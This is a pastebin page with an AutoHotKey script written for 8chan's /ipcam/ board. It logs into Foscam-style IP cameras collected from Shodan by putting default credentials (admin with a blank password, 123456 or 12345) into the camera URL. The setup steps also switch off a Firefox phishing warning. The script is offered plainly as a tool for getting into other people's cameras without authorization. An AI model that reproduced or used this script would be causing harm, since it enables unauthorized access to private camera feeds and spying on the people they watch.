SHARE
TWEET

/ipcam/ autologin script

a guest Mar 2nd, 2015 233 Never
  1. ; AutoHotKey.ahk - Foscam-style default password AutoHotKey login script
  2. ;   by zxc, 3/2/15
  3. ; for 8chan's /ipcam/
  4.  
  5.  
  6.  
  7. ; SETUP
  8. ;    1. Install AutoHotKey
  9. ;    https://github.com/AutoHotkey/AutoHotkey/releases/download/v1.0.48.05/AutoHotkey104805_Install.exe
  10. ;    2. Open it. It should open the default script, AutoHotkey.ahk, in Notepad.
  11. ;       If not, click File -> Edit Script
  12. ;    3. Delete entire script, replace with this script.
  13. ;    4. Save in Notepad, then click File -> Reload Script. Now setup browser.
  14. ;
  15. ;    For Firefox:
  16. ;      5. You need to disable a messagebox that will pop up every time you use a URL with l/p.
  17. ;         ("You are about to log in to the site ...")
  18. ;      6. Type this in Firefox browser address bar: about:config
  19. ;      7. Right click on list, select New -> Integer
  20. ;      8. Type: network.http.phishy-userpass-length
  21. ;      9. Enter value: 255
  22. ;         Walkthrough of above: http://www.codereye.com/2010/07/firefox-disable-login-confirmation.html
  23. ;     10. All set. The script by default has hotkeys set for Firefox.
  24. ;     11. OPTIONAL: Install Link Gopher to grab all links from Shodan easily.
  25. ;                   https://addons.mozilla.org/en-us/firefox/addon/link-gopher/
  26. ;
  27. ;    For Chrome botnet/"browser":
  28. ;      5. Comment out Firefox hotkeys and uncomment Chrome hotkeys.
  29. ;
  30. ;    For IE:
  31. ;      Just changing to iexplore.exe doesn't do it. Need something else to get it to load URL.
  32. ;      Honestly, IE is too shit to bother figuring this out but if you do, please add it here.
  33.  
  34.  
  35.  
  36.  
  37.  
  38. ; HOW TO USE:
  39. ;    1. Copy cam URL to clipboard.
  40. ;    2. Press Windows+Z for admin/(blank) login, Win+X for admin/123456 and Win+C for admin/12345
  41. ;
  42. ; NOTE: This will only work with cams that use a standard HTTP l/p form.
  43.  
  44.  
  45.  
  46.  
  47. ; >>>>>>> FIREFOX keys (see note above re: disabling annoying messagebox)
  48.  
  49. #z::
  50. strip := SubStr(clipboard,8)
  51. Run firefox.exe http://admin@%strip%
  52. return
  53.  
  54. #x::
  55. strip := SubStr(clipboard,8)
  56. Run firefox.exe http://admin:123456@%strip%
  57. return
  58.  
  59. #c::
  60. strip := SubStr(clipboard,8)
  61. Run firefox.exe http://admin:12345@%strip%
  62. return
  63.  
  64.  
  65.  
  66.  
  67. ; >>>>>>>> CHROME keys (remove ; in front of lines, and put ; before all the Firefox lines)
  68. ;#z::
  69. ;strip := SubStr(clipboard,8)
  70. ;Run chrome.exe http://admin@%strip%
  71. ;return
  72.  
  73. ;#x::
  74. ;strip := SubStr(clipboard,8)
  75. ;Run chrome.exe http://admin:123456@%strip%
  76. ;return
  77.  
  78. ;#c::
  79. ;strip := SubStr(clipboard,8)
  80. ;Run chrome.exe http://admin:12345@%strip%
  81. ;return
RAW Paste Data
Top